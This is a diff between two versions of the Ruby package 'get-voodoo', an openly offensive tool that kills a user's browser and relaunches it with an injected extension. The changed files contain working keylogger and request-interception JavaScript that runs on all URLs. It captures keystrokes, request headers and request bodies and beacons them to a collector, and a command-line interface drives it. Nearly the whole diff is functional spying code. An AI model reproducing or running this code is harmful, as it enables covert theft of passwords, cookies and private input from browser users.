get-voodoo 0.0.3 → 0.0.4

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 6660d98be49e0f21207c73b5ba2f95598ba2b6cbf451ab77fd55409b9a43c270
-  data.tar.gz: 433d6b93ecc44ddb91af4987761746c2684f255e71deab020793fc9786422283
+  metadata.gz: bf52ab53234e0fe391f2fe8231ebd422bdaa75d4ede9a3fcd2a92417865f0f44
+  data.tar.gz: 7b6c2e3ff3c2bf4ce4267c709afe5f51d190c185fedfa9777842aafb193ca560
 SHA512:
-  metadata.gz: 1000d6e384255923c3ac738c62de52370b6ec495e866992ff3749abb44edea92652c41aa69ec7b3eb1c58c368b73af87f4c9e3a74d501ad4a7a225b4f464682d
-  data.tar.gz: a935b3d7acee9c3102d7163112d83cf316e588761ab56c3b91a65dc2094d138e655b69625398e5b0691b4b1ff87e447e16ce17bb60de8683d908e32e02561bbc
+  metadata.gz: 9c690a0cc390cad10c6b34e31093a35a805c11d6e1f98b20a0b2c94168e9c1356c9255387af4527e1340d8cbedd502dabc4d9756c1b4230da408bd33c2615d4e
+  data.tar.gz: c13bdf316ab82d192c48871336dd59d00b49596cd6894aadb0b2c23b2744bf49faafcf8b9c5504523f9168efdef33f65f823402c5a48d52aa2740d9082688462

data/lib/voodoo/browser.rb

@@ -19,52 +19,52 @@ module VOODOO
             @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
         end
 
-        def add_script(content: nil, file: nil, matches: '*://*/*')
-            if content == nil && file != nil
-                content = File.read file
-            end
-            if content == nil
-                raise StandardError.new(':content or :file argument are required')
+        def keylogger(matches: '*://*/*')
+            add_script(matches: matches,
+                file: File.join(__dir__, 'js/keylogger.js')
+            ) do |event|
+                yield event
             end
-            @extension.add_content_script([matches], js: [content])
-            self
-        end
-
-        def keylogger(matches: '*://*/*', url_include: '')
-            collector = Collector.new
-            collector.on_json {|jsond| yield jsond }
-            
-            options = {
-                collector_url: collector.url
-            }
-
-            @collector_threads.push(collector.thread)
-
-            keylogger_js = build_js('keylogger.js', with_options: options)
-            @extension.add_content_script(matches, js: [keylogger_js])
         end
 
         def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
-            collector = make_collector() {|jsond| yield jsond }
             options = {
                 matches: matches,
                 url_include: url_include,
                 body_include: body_include,
-                header_exists: header_exists,
-                collector_url: collector.url
+                header_exists: header_exists
             }
-            background_js = build_js('intercept.js', with_options: options)
-            @extension.add_background_script content: background_js
+
+            add_script(options: options,
+                       background: true,
+                       file: File.join(__dir__, 'js/intercept.js')
+            ) do |event|
+                yield event
+            end
+        end
+
+        def add_permissions(permissions)
+            permissions = [permissions] unless permissions.is_a? Array
+            @extension.manifest[:permissions] += permissions
         end
 
-        def hijack(url = '')
+        def hijack(urls)
             # kill the browser process twise, to bypass close warning
             `pkill -a -i "#{@process_name}"`
             `pkill -a -i "#{@process_name}"`
             sleep 0.1
 
+            urls = [urls] unless urls.kind_of? Array
+
             profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
-            `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{url}`
+            `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
+
+            if urls.length > 0
+                sleep 0.5
+                for url in urls
+                    `open -b "#{@bundle}" -n -g -j --args #{url}`
+                end
+            end
 
             for thread in @collector_threads
                 thread.join    
@@ -91,6 +91,39 @@ module VOODOO
             self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
         end
 
+        def add_script(content: nil, file: nil, matches: nil, options: {}, background: false)
+            if matches != nil && background != false
+                puts 'WARNING: matches is ignored when background is set to true.'
+            end
+
+            if content == nil && file != nil
+                content = File.read file
+            end
+
+            if content == nil
+                raise StandardError.new(':content or :file argument are required')
+            end
+
+            if block_given?
+                collector = Collector.new
+                collector.on_json {|jsond| yield jsond }
+                @collector_threads.push(collector.thread)
+                options[:collector_url] = collector.url
+            end
+
+            content = build_js('voodoo.js', with_options: options) + "\n" + content
+            
+            if background == true
+                return @extension.add_background_script(content: content)
+            else
+                if matches == nil
+                    matches = '*://*/*'
+                end
+                
+                return @extension.add_content_script(matches, js: [content])
+            end
+        end
+
         protected
 
         def make_collector
@@ -103,7 +136,7 @@ module VOODOO
         def build_js(file, with_options: nil)
             js = File.read(File.join(__dir__, 'js', file))
             if with_options != nil
-                js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
+                js = js.gsub('$OPTIONS', JSON.generate(with_options))
             end
             return js
         end

data/lib/voodoo/cli.rb

@@ -1,5 +1,6 @@
 require 'thor'
 require 'json'
+require 'yaml'
 require 'voodoo/browser'
 
 module VOODOO
@@ -16,8 +17,8 @@ module VOODOO
         option :url_include, :type => :string, :aliases => :u, :default => nil
         option :body_include, :type => :string, :aliases => :b, :default => nil
         option :header_exists, :type => :string, :aliases => :h, :default => nil
-        option :output, :type => :string, :aliases => :o, :default => 'stdout'
-        option :site, :type => :string, :aliases => :s, :default => ''
+        option :output, :type => :string, :aliases => :o, :default => 'stdout',:desc => '<path>, stdout'
+        option :urls, :type => :array, :aliases => :x, :default => []
         option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
         desc 'intercept', 'intercept browser requests'
@@ -32,7 +33,9 @@ module VOODOO
 
             browser.intercept(matches: options[:matches],
                               url_include: options[:url_include],
-                              body_include: options[:body_include]) do |req|
+                              body_include: options[:body_include]) do |event|
+                req = event[:payload]
+                
                 if output != 'stdout'
                     output.puts JSON.generate(req)
                     output.close
@@ -49,25 +52,57 @@ module VOODOO
                 end
             end
 
-            browser.hijack options[:site]
+            browser.hijack url: options[:site]
         end
 
-        option :site, :type => :string, :aliases => :s, :default => ''
+        option :urls, :type => :array, :aliases => :x, :default => []
+        option :output, :type => :string, :aliases => :o, :desc => '<path>, stdout', :default => nil
+        option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
         option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
+        option :permissions, :type => :array, :aliases => :p, :default => []
         desc 'script <js/path>', 'add a content script'
         def script(path_or_js)
             browser = get_browser options[:browser]
+            browser.add_permissions options[:permissions]
+
+            output = options[:output]
+
+            if output != nil && output != 'stdout'
+                output = open(output, 'a')
+            end
+
             if File.exists? path_or_js
-                browser.add_script file: path_or_js
+                if output != nil
+                    browser.add_script file: path_or_js, options: options[:js_vars] do |event|
+                        if output != 'stdout'
+                            output.puts JSON.generate(event)
+                        else
+                            puts "#{event[:origin]}: #{event[:payload]}"
+                        end
+                    end
+                else
+                    browser.add_script file: path_or_js, options: options[:js_vars]
+                end
             else
-                browser.add_script content: path_or_js
+                if output != nil
+                    browser.add_script content: path_or_js, options: options[:js_vars] do |event|
+                        if output != 'stdout'
+                            output.puts JSON.generate(event)
+                        else
+                            puts "[+] #{event[:origin]} => #{event[:payload]}"
+                        end
+                    end
+                else
+                    browser.add_script content: path_or_js, options: options[:js_vars]
+                end
             end
-            browser.hijack options[:site]
+
+            browser.hijack url: options[:site]
         end
         
-        option :site, :type => :string, :aliases => :s, :default => ''
-        option :output, :type => :string, :aliases => :o, :default => 'stdout'
+        option :urls, :type => :array, :aliases => :x, :default => []
+        option :output, :type => :string, :aliases => :o, :default => 'stdout', :desc => '<path>, stdout'
         option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
         desc 'keylogger', 'records user keystrokes'
@@ -83,11 +118,78 @@ module VOODOO
                 if output != 'stdout'
                     output.puts JSON.generate(event)
                 else
-                    print event[:log]
+                    print event[:payload][:log]
+                end
+            end
+
+            browser.hijack url: options[:site]
+        end
+
+        option :browser, :type => :string, :aliases => :b, :default => nil
+        option :output, :type => :string, :aliases => :o, :default => 'none', :desc => 'none, <path>, stdout, stdout:payload'
+        option :urls, :type => :array, :aliases => :x, :default => []
+        option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
+        desc 'template <path>', 'execute a VOODOO template'
+        def template(path)
+            pwd = Dir.pwd
+            output = options[:output]
+
+            if File.directory? path
+                pwd = File.expand_path File.join(pwd, path)
+                template = YAML.load_file(File.join(path, 'voodoo.ymal'))
+            else
+                pwd = File.expand_path File.join(pwd, File.dirname(path))
+                template = YAML.load_file(path)
+            end
+
+            template = YAML.load_file(path)
+
+            if output == 'none' && template['output']
+                output = template['output']
+            end
+
+            browser_inst = template['browser'] || {}
+
+            browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
+
+            if template['permissions']
+                browser.add_permissions template['permissions']
+            end
+                
+            if !['stdout', 'stdout:payload', 'none'].include? output
+                output = open(output, 'a')
+            end
+
+            template['scripts'].each do |script| 
+                file = File.expand_path(File.join(pwd, script['file'])) if script['file']
+                content = script['content']
+                matches = script['matches']
+                js_vars = options[:js_vars]
+                background = script['background'] || false
+                
+                if output != 'none'
+                    browser.add_script(matches: matches, file: file, content: content, options: js_vars, background: background) do |event|
+                    case output
+                        when 'stdout'
+                            puts JSON.generate(event)
+                        when 'stdout:payload'
+                            puts JSON.generate(event[:payload])
+                        else
+                            output.puts JSON.generate(event)
+                        end
+                    end
+                else
+                    browser.add_script(matches: matches,content: content, options: js_vars, background: background)
                 end
             end
 
-            browser.hijack options[:site]
+            urls = options[:urls]
+
+            if urls.length == 0 && browser_inst['urls']
+                urls = browser_inst['urls']
+            end
+
+            browser.hijack urls.uniq
         end
 
         def self.exit_on_failure?

data/lib/voodoo/extension.rb

@@ -51,6 +51,7 @@ module VOODOO
         end
 
         def save
+            @manifest[:permissions] = @manifest[:permissions].uniq
             manifest_path = File.join(@folder, 'manifest.json')
             File.write(manifest_path, JSON.generate(@manifest))
             return @folder

data/lib/voodoo/js/collector.js

@@ -1,4 +1,7 @@
-chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
+/**
+ * VOODOO collector
+ */
+chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
     navigator.sendBeacon(request.collector_url, request.body);
     sendResponse(1)
 });

data/lib/voodoo/js/intercept.js

@@ -2,24 +2,26 @@
  * VOODOO Intercept
  */
 (function () {
-    let options = REBY_INJECTED_OPTIONS;
+    let options = VOODOO.options || {};
     let matches = options.matches || ["<all_urls>"];
 
-    if (!Array.isArray(matches)) {
-        matches = [matches];
+    if (options.header_exists) {
+        options.header_exists = options.header_exists.toLowerCase();
     }
 
-    if (!options.collector_url) {
-        return;
+    if (!Array.isArray(matches)) {
+        matches = [matches];
     }
 
     const requests = new Map();
 
     chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
         const request = requests.get(e.requestId);
+
         if (!request) {
             return;
         }
+
         requests.delete(e.requestId);
         request.headers = e.requestHeaders;
 
@@ -36,7 +38,7 @@
             }
         }
 
-        navigator.sendBeacon(options.collector_url, JSON.stringify(request))
+        VOODOO.send(request);
     }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
 
     chrome.webRequest.onBeforeRequest.addListener(
@@ -60,5 +62,4 @@
         { urls: matches },
         ['requestBody']
     );
-
 })();

data/lib/voodoo/js/keylogger.js

@@ -2,13 +2,6 @@
  * VOODOO Keylogger
  */
 (function () {
-    sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
-    const options = REBY_INJECTED_OPTIONS;
-
-    if (!options.collector_url) {
-        return;
-    }
-
     let output = "";
     let lastElement = null;
 
@@ -27,29 +20,17 @@
         return id;
     }
 
-    function send_to_collector() {
-        chrome.runtime.sendMessage({
-            collector_url: options.collector_url,
-            body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
-        }, function (response) {
-            //console.log(response);
-        });
-        output = "";
-    }
-
-    setInterval(function () {
-        if (output.length !== 0) {
-            send_to_collector();
-        }
-    }, 5000);
-
-    window.addEventListener("beforeunload", function (e) {
+    function sendAndDelete() {
         if (output.length === 0) {
             return;
         }
-        send_to_collector();
-    }, false);
+        VOODOO.send({ log: output });
+        output = "";
+    }
+
+    setInterval(sendAndDelete, 5000);
 
+    window.addEventListener("beforeunload", sendAndDelete, false);
     window.addEventListener("blur", function () {
         output += "\n[TAB LOST FOCUS]\n";
     });
@@ -61,15 +42,15 @@
     window.addEventListener("keydown", function (event) {
         if (lastElement !== event.path[0]) {
             lastElement = event.path[0];
-            output += `\n==> ${describe(event.path[0])}\n`
+            output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
         }
         if (event.key.length > 1) {
-            output += `[[${event.key}]]`;
+            output += `[${event.key}]`;
         } else {
             output += event.key;
         }
     });
 
     output = `\n====== ${window.location.href} (${document.title}) ======\n`;
-    send_to_collector();
+    sendAndDelete();
 })();

data/lib/voodoo/js/voodoo.js

@@ -0,0 +1,29 @@
+if (!sessionStorage.tab_uuid) {
+    sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
+}
+
+const VOODOO = {
+    options: $OPTIONS || {},
+    send(payload) {
+        if (!VOODOO.options.collector_url) {
+            return;
+        }
+
+        const body = JSON.stringify({
+            time: new Date().getTime(),
+            tab_uuid: sessionStorage.tab_uuid,
+            origin: window.location.origin,
+            payload
+        });
+
+        if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
+            return navigator.sendBeacon(VOODOO.options.collector_url, body);
+        }
+
+        chrome.runtime.sendMessage({
+            collector_url: VOODOO.options.collector_url, body
+        });
+    }
+};
+
+const V = VOODOO;

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: get-voodoo
 version: !ruby/object:Gem::Version
-  version: 0.0.3
+  version: 0.0.4
 platform: ruby
 authors:
 - Ron Masas
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2022-03-10 00:00:00.000000000 Z
+date: 2022-03-11 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: thor
@@ -82,6 +82,7 @@ files:
 - lib/voodoo/js/collector.js
 - lib/voodoo/js/intercept.js
 - lib/voodoo/js/keylogger.js
+- lib/voodoo/js/voodoo.js
 homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
 licenses:
 - GPL-2.0